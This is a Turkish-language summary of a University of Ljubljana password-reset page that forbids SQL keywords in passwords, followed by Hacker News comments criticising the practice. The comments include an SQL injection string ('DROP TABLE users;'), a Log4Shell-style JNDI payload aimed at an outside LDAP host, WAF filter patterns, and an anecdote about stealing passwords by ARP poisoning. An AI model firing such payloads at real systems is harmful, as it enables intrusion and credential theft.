- University of Ljubljana ID portalındaki parola sıfırlama işlemi, kullanıcı adı ve yeni parolanın onayıyla birlikte girilmesini isteyerek hesap kurtarma sürecindeki giriş hatalarını azaltmayı amaçlayan bir yapıya sahip
- Kullanıcı adı e-posta adresine benzeyen bir biçimdedir ve örnek olarak
js1234@student.uni-lj.siverilir - Yeni parola en az 10 karakter uzunluğunda olmalı ve ad, soyad gibi kolay tahmin edilebilen kişisel bilgileri içeremez
- Büyük harf, küçük harf, rakam ve
-_.+@sembollerinden en az 3 kriteri karşılamalıdır - Parolada
select,insert,update,delete,dropgibi kelimeler de kullanılamaz; yani yalnızca uzunluk değil, yasaklı kalıplar da kontrol edilir
Parola sıfırlama giriş akışı
- Ekran Username, New password, New password confirmation alanlarından oluşur
- Üç alanın da tamamı required olarak işaretlenmiştir
- Kullanıcı adı e-posta adresine benzeyen bir biçimdedir
- John Smith için kullanıcı adı örneği
js1234@student.uni-lj.si
- John Smith için kullanıcı adı örneği
- Yazım hatalarını azaltmak için yeni parola iki kez girilmelidir
Yeni parola kuralları
- Yeni parola, kullanıcının dijital kimliğini koruyan bir araç olarak ele alınır
- Kolay tahmin edilebilen parolalardan kaçınılmalıdır
- Örnek: ad, soyad, partner adı, doğum tarihi
- Parola en az 10 karakter uzunluğunda olmalıdır
- Kullanıcının adını veya soyadını içeremez
- Aşağıdaki kriterlerden en az 3'ünü karşılamalıdır
- İngilizce alfabenin büyük harfleri
- İngilizce alfabenin küçük harfleri
- Rakamlar
- Semboller:
-_.+@
Kullanılamayan kelimeler
- Parolada aşağıdaki kelimeler kullanılamaz
selectinsertupdatedeletedrop
1 yorum
Hacker News yorumları
Ah, o dizgeyi ben koydum. Yönetim isteğiydi ve nedenini hâlâ bilmiyorum
Bu site parolaları saklamıyor; daha çok harici bir hesap yönetim sisteminin güzelce sarılmış bir arayüzü gibi
Bazı eski uygulamalardaki giriş alanı doğrulamasının tuhaf olduğu ve belirli dizgeler içeren parolalarla öğrencilerin giriş yapamadığına dair söylentiler duydum ama gerçek bir örnek bilmiyorum
DROP TABLE users;yapsın. Böylece tedarikçilerden hangisinin parolaları son derece güvensiz şekilde işlediği hemen ortaya çıkarBu durumda kullanıcı girdisini ne temizliyor ne de parolayı hash’leyip gizliyor demektir; bu da toplumsal bir baş belası seviyesidir
maxlengthözniteliğinden daha uzunduParola yöneticisinin otomatik doldurmasıyla giriş yapılabiliyor da elle yazınca veya yapıştırınca neden olmuyor diye uzun süre anlayamamıştım. Meğer otomatik doldurma
maxlengthdeğerini yok saydığı içinmiş"script"içeremeyeceği söyleniyordu; ergenliğimin başlarında büyük sosyal platform Nettby.no’yu hacklemiştimYasaklı sözcüklerin tamamını kaldıran bir yöntemdi ve içinde
scriptde vardıNettby’de HTTPS yoktu; ARP zehirleme ile ortadaki adam saldırısı yapıp herkesin parolasını çaldım, insanların hesaplarından rastgele saçmalıklar paylaşıp kargaşayı izledim. Gizlice bakmadım; görünüşe göre 14 yaşındaki hâlimde bile en azından bir miktar etik varmış
Çok eleştirileceğini düşünüyorum ama en azından bazı durumlarda bunun fena bir fikir olmadığını düşünüyorum
Kurumların içinde kötü kod ve kötü sistem mimarisi üreten çok kişi var; bunları yakalayıp değiştirmelerini sağlayacak beceriye, yetkiye ve zamana sahip kişi ise az
ABD’de yerel sağlık kuruluşları gibi berbat kodlanmış web siteleri üzerinden mecburen iş yapmak zorunda kalınan çok oluyor. Bu gibi durumlarda uygulamanın, çoğu zaman olduğu gibi korkunç olabileceğini varsayıp buna uygun azaltıcı önlemler önermek daha iyi olabilir
Sözde yasaklanmış parola kalıplarına gerçekten izin verilip verilmediğini kullanıcı kolayca test edip düzenleyici kuruma şikâyet edebilir; ama dışarıdan doğru uygulanıp uygulanmadığını doğrulamak kolay değildir
Zarif değil ve trajik, ama pratikte işlerin sık sık berbat yapıldığını ve denetimin de yetersiz olduğunu kabul edip en kötü sonuçları engelleyecek azaltıcı önlemleri düşünmek daha iyi olabilir
Bu tür güvenlik önlemleri çoğu zaman daha derin sorunları örter. Genellikle kullanıcı girdisini dikkatli işlemedikleri için böyle önlemler eklenir; birkaç anahtar kelimeyi engellemenin olası açığı “etkisizleştireceği” varsayımı ise çoğu zaman kolayca çürütülür. eBay ve JSFuck örneğine bakın
Bu düşünce tarzından nefret ediyorum. Web uygulaması güvenlik duvarları (WAF), tembel penetrasyon testleri ve uyumluluk onay kutularının muazzam miktarda güvenlik tiyatrosu yarattığına; şirketlerin de saçma derecede berbat yazılmış yazılımları açık internete kısmen maruz bıraksalar bile “güvende” olduklarına ve “gereken özeni gösterdiklerine” inanmalarını sağladığına eminim
Sonuç olarak, gerçek bir seçeneğim de pek olmadan verilerimi verdiğim şirketten, en hassas bilgilerimin yine sızdırıldığına dair posta yoluyla bir özür mektubu alıyorum. Elbette hepsi verilerime derinden değer verdikleri için, onlarca yıllık bir Java serileştirme kütüphanesi açığıyla çalınmasına izin vermişlerdir
[1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
Her kurum için kötü görünür, ama özellikle yetkin ve yetkili insanların kalesi olması gereken bir üniversiteyse daha da vahim
Genel parola tavsiyesi açısından bakarsak, herkes bu anahtar kelimeleri parolasına koyup hataları hızla ortaya çıkarmalı. Gizli kalıp yalnızca saldırganlar tarafından kullanılmasına izin verilmemeli
Salt eklendikten sonra hash yüz binlerce kez uygulanmalı ve dosyada saklanan salt/hash değerleriyle karşılaştırılmalı
Bunu bile yapamıyorsanız kimlik bilgilerini saklayan yazılım yazmaya ehil değilsiniz. Ciddiyim. Yazılım güvenliği, verinin toksik olduğunu ve ona saygı göstermezseniz şirketinizi batırabileceğini kabul etmekle başlar
Bir sistemin düz metin parolayı veritabanı tablosuna koyabileceğinden endişe etmeniz gerekiyorsa, o sistemde korkunç şekilde ters gidebilecek milyon tane başka şey de vardır. Örneğin DBA Stack Overflow’dan SQL kopyalayıp yapıştırırsa ne yapacaksınız?
Kurumunuzda yetersiz mühendisler varsa, onlara kendi kimlik doğrulama sisteminizi uygulatmayın; yaygın kullanılan açık kaynak çerçeveleri veya ticari ürünler kullanmak daha iyi
Kimlik doğrulama akışı parolaya salt ve hash uyguladıktan sonra özgün düz metin parolayı atmak dışında bir şey yapıyorsa, tüm sistemi hiç kullanmamak gerekir
Sorun değil. Onun yerine
truncatekullanırsınızBu durumdaki en komik şey, yasaklı dizgelerin hepsini kontrol bile etmemeleri
Kaynak: o okulun öğrencisiyim ve merak edip kendim denedim
Uygun stored procedure’lar ve başka tekniklerle SQL injection’ı en baştan imkânsız kılmak yerine, birkaç anahtar kelimeyi yasaklayıp hacker’ların escape hilesi gibi akıllarına gelmeyen bir yöntem bulmamasını umuyorlar.
Bir süre muhtemelen çalışır, ama biri çalışmadığını kanıtlayana kadar.
Kullanıcı girdisinin SQL ile karışmamasını sağlamak artık roket bilimi değil. 2005’te değiliz.
Zaten bu işe yarıyorsa, parolaları hash’lemeden saklıyorlar demektir; bu 2005’te bile aptalcaydı. Kullanıcı adı ya da başka giriş alanları için aynı yöntem olsa biraz daha anlaşılır olurdu, ama parolalar asla veritabanına bu şekilde girmemeli.
Biri pipe ile ayrılmış alanlar önerdi, o da reddedildi. Gerekçe “geçmişte bazı müşteri proxy’leri pipe karakteri içeren header’ları reddetmişti” gibi bir şeydi.
Voodoo tarzı programlama her zaman durum tespiti eksikliğinden kaynaklanmaz. Geçmişte bir şeylerin yanlış gittiğini bildiğiniz, ama elinizde kanıt olmadığı ve buna karşı yapabileceğiniz bir şey bulunmadığı durumlardan da çıkar.
Şahsen ben sadece dağıtıp bozulup bozulmadığını görmek, gerekirse sonradan müşteriyle çözmek isterdim. Doğal olarak ve iyi nedenlerle pek popüler olmayan bir yaklaşım olduğu için sonunda pipe karakteri kullanılmadı.
CGI script’ini de muhtemelen taint mode ile çalıştırıyordum. Bunu hatırlayan var mı?
RDBMS bir hash fonksiyonunu destekleyebilir; dolayısıyla
UPDATE USERS SET PASSWORD = SHA2($PASSWORD)gibi saklıyor olabilirler. Bu durumda SQL injection’a açıktır, ama hash’lenmemiş parolayı saklıyor değildir.Hash’i uygulama katmanında yapmayı önermek için iyi nedenler var, ama doğru şekilde parametreleştirilmiş sorgu kullanılıyorsa veritabanında yapmak da o kadar korkunç değil.
Eh, bunu asla yakalayamazlar. Parolam
${jndi:ldap://hunter2.com/totallylegit}.Domain’ler yalnızca ASCII karakterleri
a-zve rakamları0-9içerebilir; yıldız işaretine izin verilmez. İzin verilen tek sembol kısa çizgidir ve o da başta ya da sonda olamaz.İyimser bakarsak bu gereksinim, aşırı katı bir web uygulaması güvenlik duvarından (WAF) kaynaklanmış olabilir.
Diğer yorumlar bunu uygulama güvenliğinin kötü olduğuna dair “kanıt” olarak görüyor, ama bence bu kadar kesin bir sonuca varılamaz. Yine de stack’in bir kısmının berbat uygulanmış olduğu sonucuna varılabilir.
Eski bir sistemden kalma bir kalıntı gibi duruyor. Bazı üniversitelerin ve bankaların merkezi kimlik doğrulama için eski mainframe kullandığını duymuştum.
Bazı durumlarda parolaların düz metin olarak saklandığını, 8 karaktere kırpıldığını ve yalnızca büyük harflere izin verildiğini duymuştum.
Böyle sistemleri yükseltmemenin ana nedeni, en azından bana anlatılana göre, maliyet ve karmaşıklık. Çalışan bir sistemi
$$$$harcayıp yükseltmektense,$harcayıp parolaları kısıtlayalım ve temel bir “güvenlik” ekleyelim mantığı.Birkaç yıl önce WordPress API’siyle yazı yayımlayan bir uygulama geliştiriyordum. Müşterilerin her biri WordPress’i farklı hosting ortamlarına kurmuştu ve buralarda çeşitli “güvenlik” özellikleri vardı.
Bloga yazı gönderince başarısız olduğu ve boş içerik yayımlandığına dair bir hata raporu aldık; meğer bu güvenlik eklentisi uzun blog yazılarını tararken
.... select fromgibi bir şey bulursa ilgili POST parametresini boş string’e çeviriyormuş.Benzer bir müşteri hata raporu da görmüştüm: sunucumuzdan gönderilen isteğin JSON alanındaki HTML metninin içine obfuscate edilmiş JavaScript enjekte edilmişti. Bunun bir “güvenlik” eklentisi mi yoksa kötü amaçlı yazılım mı olduğundan emin olamamıştık.
selectgeçtiğini fark ettim; çoğu zamanitemselectgibi bir parametre adının parçasıydı. Bu yüzden stack’in bir yerinde WAF benzeri bir filtre olup olmadığını araştırdım.Sonunda ticari WAF kullanmadan önce proxy sunucusunda kalmış eski bir ayar buldum; bu ayar
SELECT.*UNIONarıyordu.URL’lere tekrar bakınca hepsinde
company=credit+uniongibi bir parametre de olduğunu gördüm. Yüzümü avuçlayıp o kodu kaldırdım; başka yerlerde yeterince koruma vardı.